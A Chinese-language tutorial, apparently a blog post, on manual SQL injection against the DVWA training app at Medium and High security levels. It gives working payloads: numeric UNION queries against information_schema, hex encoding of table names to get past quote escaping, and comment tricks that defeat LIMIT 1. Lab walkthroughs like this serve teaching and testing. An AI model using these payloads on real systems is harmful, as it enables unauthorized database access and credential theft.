前言
本章我们将进行 Medium
和 High
等级的 DVWA SQL Injection 手工注入。
如没看过第一章,请点我跳转
阅读本篇文章前,你需要了解下面的知识:
- 转义字符在 PHP 中的作用
- MySQL:LIMIT 语句的作用与用法
Medium Level SQL 注入
和初级一样,我们输入如下语句:
1' order by 2 #
但得到了如下结果:
`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by 2 #' at line 1`
返回页面,点击右下角的 View Source
阅读源码,我们会发现:
$id = mysql_real_escape_string($id);
出现了一个初级没有的方法:
mysql_real_escape_string
将字符串中的:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
进行了 转义
的处理,而我们使用的单引号被从 '
转义为了 \'
,所以注入语句无法执行。
换个思路,如果我们不使用单引号呢?
组建语句:
1 order by 2 #
返回结果:
ID: 1 order by 2 #
First name: admin
Surname: admin
运气不错!但为什么会这样呢?
源码比对
对比低级和中级的 SQL 执行语句:
低级:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
中级:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
仔细看,你会发现中级去掉了单引号,也就是说我们不加单引号也可以同时执行两条语句。由于没有使用 单引号
单独转换 $id
为字符串,所以被称为 数字型
注入。
实例测试
假设注入语句:
1' order by 2 #
注入到低级语句,组成语句:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2 # '
我们可以看到,虽然多出了一个单引号,但我们使用 #
将其注释,所以 #
后面的不生效,语句成立。
注入到中级语句时,单引号会被过滤,语句无效。
再试试中级的注入语句 1 order by 2 #
注入到中级语句:
SELECT first_name, last_name FROM users WHERE user_id = 1 order by 2
没有单引号的干扰,语句可以正常执行。
目前已知可渗透条件
- 语句执行方法:
1 [SQL语句] #
- 如要使用
union
联合查询,必须返回两列,否则将报错。
Have a try
你已经知道了可渗透条件,现在照着上一章的方法试着自己宕出用户名和密码吧!当你在测试的时候遇到了问题,请继续往下读:
Trouble shooting
- 测试语句中字符串的引号被转义
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
这本应该是一条正确的语句,但 'users'
无论是使用单引号还是双引号都会被转义,所以我们应该将其转为 16 进制。
在 Python 中输入如下命令:
import binascii
print binascii.b2a_hex('users')
这会将 users
转为 16 进制,这样我们就绕过了引号,且能被 MySQL 正常识别。
返回结果:
>>> import binascii
>>> print binascii.b2a_hex('users')
7573657273
7573657273
便是 users
转换为 16 进制的结果。不仅可以使用 Python 进行进制转换,你也可以使用其它工具进行转换。
但 7573657273
会被 MySQL 识别为 整数
,我们需要将它包装为 0x7573657273
才能被正常识别为 16 进制。
组成语句:
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
得到返回结果:
ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: admin
Surname: admin
ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar
成功!
High Level SQL 注入
阅读源码:
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>
这里使用的是 DVWA1.8 版本,我发现很多版本之间源码都有一定程度的不同,新版本更是增加了等级。
我们可以看到,它既封堵了分号的 BUG,又同时将:
SELECT first_name, last_name FROM users WHERE user_id = '$id'
数字型注入漏洞封堵了。所以该等级我换了一个版本的 DVWA 作演示:
DVWA1.9 - High Level
源码:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
通过和中级的对比,我们可以看到多出了 LIMIT 1
的限制,它限制只输出一条结果。但由于我们使用了 #
进行注释,所以使用中级的方法就可以保证 LIMIT 1
不被执行。
后语
本文通过 DVWA 讲述了手工 SQL 注入的思路,更多进阶的知识还需要自己去旁敲侧击摸索出来,祝好运。
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于